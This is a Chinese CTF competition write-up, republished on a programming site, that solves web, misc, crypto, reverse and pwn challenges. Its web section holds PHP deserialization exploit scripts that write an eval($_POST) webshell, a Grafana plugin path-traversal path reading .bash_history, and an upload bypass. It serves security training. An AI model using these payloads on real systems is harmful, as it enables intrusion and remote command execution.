我的编程空间,编程开发者的网络收藏夹
学习永远不晚

天权信安&catf1ag网络安全联合公开赛-AGCTFS战队 wp

短信预约 -IT技能 免费直播动态提醒
省份

北京

  • 北京
  • 上海
  • 天津
  • 重庆
  • 河北
  • 山东
  • 辽宁
  • 黑龙江
  • 吉林
  • 甘肃
  • 青海
  • 河南
  • 江苏
  • 湖北
  • 湖南
  • 江西
  • 浙江
  • 广东
  • 云南
  • 福建
  • 海南
  • 山西
  • 四川
  • 陕西
  • 贵州
  • 安徽
  • 广西
  • 内蒙
  • 西藏
  • 新疆
  • 宁夏
  • 兵团
手机号立即预约

请填写图片验证码后获取短信验证码

看不清楚,换张图片

免费获取短信验证码

天权信安&catf1ag网络安全联合公开赛-AGCTFS战队 wp

文章目录

web

POP

脚本

 class catf1ag1{     public $hzy;     public $arr;     public function __construct()    {     $this->hzy = new catf1ag2;     $this->arr = ['pputut'];    }}class catf1ag2{     public $file;    public $txt = '';        public function __construct(){         $this->file='php://filter/convert.base64-decode/resource=5.php';         $this->txt='PD9waHAgQGV2YWwoJF9QT1NUWycxMjMnXSk7Pz4=';    }} echo base64_encode(serialize(new catf1ag1));

然后连蚁剑

image-20221217185339828

Ezlogin

查看robots.txt

在这里插入图片描述image-20221217185413907
TmprMlpUWTBOalUzT0RKbE56QTJPRGN3这一字符串经由两次base64解码与hex得到index.php

按照此种方法对source.php加密
在这里插入图片描述

但是改完又跳回index.php,发现多了一个surprise,最后就猜测出来/surprise/source.php

image-20221217185437351

脚本:

class A{    public $hello;    public function __construct(){        $this->hello = new B;    }}class B{     public $file;    public $text;    public function __construct($file=&apos;&apos;,$text=&apos;&apos;) {        $this -> file = &apos;php://filter/write=string.rot13/resource=2.php';        $this -> text = &apos;<?cuc riny($_CBFG[n]);&apos;;            }}echo urlencode(serialize(new A));

传入之后访问2.php,命令执行

image-20221217185516110

image-20221217185521932

Fileupload

image-20221217185549365

发现include/f1ag_1s_n0t_here.php,访问后发现是文件上传点。

image-20221217185559973

简单绕过后上传文件,猜测前边需要有时间戳,在uploads中发现了上传后的文件。

image-20221217185614627

History

猜测到是查看命令历史。

/public/plugins/gettingstarted/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/home/grafana/.bash_history

image-20221217185632536

知道了flag名称及位置,访问即可。

image-20221217185641652

MISC

简单隐写

将图片放入010查看有rar文件头,在rar文件中有flag.txt,所以将后缀名改为rar

发现flag被加密,使用工具Jphswin提取出图片中的信息找到password

image-20221217185701363

image-20221217185706057

凯撒解密得到最终flag。

image-20221217185715591

十位马

image-20221217185732188

看文件头为04034B50 而zip文件头为504B0304编写脚本

运行一次后将数据放入010hex区然后再运行一次得到文件f重复之前操作得到zip

image-20221217185755389

使用montage工具拼接得到
在这里插入图片描述

添加二维码定位扫码得flag

image-20221217185822473

Crypto

Easyrsa

网上找到了原题,替换数据后,脚本直接用:

import gmpy2import Crypto.Util.numberimport sympyd= 12344766091434434733173074189627377553017680360356962089159282442350343171988536143126785315325155784049041041740294461592715296364871912847202681353107182427067350160760722505537695351060872358780516757652343767211907987297081728669843916949983336698385141593880433674937737932158161117039734886760063825649623992179585362400642056715249145349214196969590250787495038347519927017407204272334005860911299915001920451629055970214564924913446260348649062607855669069184216149660211811217616624622378241195643396616228441026080441013816066477785035557421235574948446455413760957154157952685181318232685147981777529010093c= 11665709552346194520404644475693304343544277312139717618599619856028953672850971126750357095315011211770308088484683204061365343120233905810281045824420833988717463919084545209896116273241788366262798828075566212041893949256528106615605492953529332060374278942243879658004499423676775019309335825331748319484916607746676069594715000075912334306124627379144493327297854542488373589404460931325101587726363963663368593838684601095345900109519178235587636259017532403848656471367893974805399463278536349688131608183835495334912159111202418065161491440462011639125641718883550113983387585871212805400726591849356527011578e = 0x10001# 有 c d e 我们知道e*d %([p-1)*(q-1)]= 1 则e*d-1 = k* (p-1)*(q-1)# 可以爆破k要得到(p-1)(q-1)#取k的范围 ed - 1是2063到2064位 、 (p-1)(q-1)是1024+1024位 则k取2**15~2**16 for i in range(1000,3000):    if e*d-1 > 2**i and e*d-1<2**(i+1):        print(i)        break        #2063# (e*d-1)对k的模为0# 我们还知道q是p的下一个素数 俩者大小相差不大  for k in range(2**15,2**16):    if (e*d-1) % k==0:        p = sympy.prevprime(gmpy2.iroot((e*d-1)//k,2)[0])            #通过sympy.prevprime(n)得到小于n的最大素数         #gmpy2.iroot开方函数输出的是一个元组        q = gmpy2.next_prime(p)        # print(q)        # print(p)        if (e*d-1)//k == (q-1)*(p-1):            #验证pq是否正确            breakn = q * pm = pow(c ,d ,n )print(Crypto.Util.number.long_to_bytes(m))

image-20221217185917346

疑惑

x=’welcome_to_nine-ak_match_is_so_easy_!@!’ y=[20, 4, 24, 5, 94, 12, 2, 36 ,26, 6, 49, 11, 68, 15, 14, 114, 12, 10, 43, 14, 9 ,43 ,10, 27, 31, 31, 22, 45, 10, 48, 58, 4 ,18, 10, 38, 31, 14, 97, 92]flag=’’for i in range(len(x)):    flag+=chr(ord(x[i])^y[i])print(flag)

image-20221217185955567

Reverse

Checkin

先查壳

image-20221217190024393

32位upx

Upx -d 报错

image-20221217190032709

使用工具upxf之后再尝试脱壳

image-20221217190040379

脱壳成功

image-20221217190059078

题目描述位crackme且为32bit故推测位动调

image-20221217190107602

动调获取关键数据后编写python脚本

img
运行后得flag
在这里插入图片描述

Pwn

Checkin

用ida64打开分析代码

image-20221217190207794

需绕过atoi函数

编写脚本

img

image-20221217190250938

Angr

Ida分析代码

image-20221217190316650

依次发送0 , 2 进入system

image-20221217190325947

运行得flag

image-20221217190332477

来源地址:https://blog.csdn.net/akxnxbshai/article/details/128356159

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

天权信安&catf1ag网络安全联合公开赛-AGCTFS战队 wp

下载Word文档到电脑,方便收藏和打印~

下载Word文档

编程热搜

  • Python 学习之路 - Python
    一、安装Python34Windows在Python官网(https://www.python.org/downloads/)下载安装包并安装。Python的默认安装路径是:C:\Python34配置环境变量:【右键计算机】--》【属性】-
    Python 学习之路 - Python
  • chatgpt的中文全称是什么
    chatgpt的中文全称是生成型预训练变换模型。ChatGPT是什么ChatGPT是美国人工智能研究实验室OpenAI开发的一种全新聊天机器人模型,它能够通过学习和理解人类的语言来进行对话,还能根据聊天的上下文进行互动,并协助人类完成一系列
    chatgpt的中文全称是什么
  • C/C++中extern函数使用详解
  • C/C++可变参数的使用
    可变参数的使用方法远远不止以下几种,不过在C,C++中使用可变参数时要小心,在使用printf()等函数时传入的参数个数一定不能比前面的格式化字符串中的’%’符号个数少,否则会产生访问越界,运气不好的话还会导致程序崩溃
    C/C++可变参数的使用
  • css样式文件该放在哪里
  • php中数组下标必须是连续的吗
  • Python 3 教程
    Python 3 教程 Python 的 3.0 版本,常被称为 Python 3000,或简称 Py3k。相对于 Python 的早期版本,这是一个较大的升级。为了不带入过多的累赘,Python 3.0 在设计的时候没有考虑向下兼容。 Python
    Python 3 教程
  • Python pip包管理
    一、前言    在Python中, 安装第三方模块是通过 setuptools 这个工具完成的。 Python有两个封装了 setuptools的包管理工具: easy_install  和  pip , 目前官方推荐使用 pip。    
    Python pip包管理
  • ubuntu如何重新编译内核
  • 改善Java代码之慎用java动态编译

目录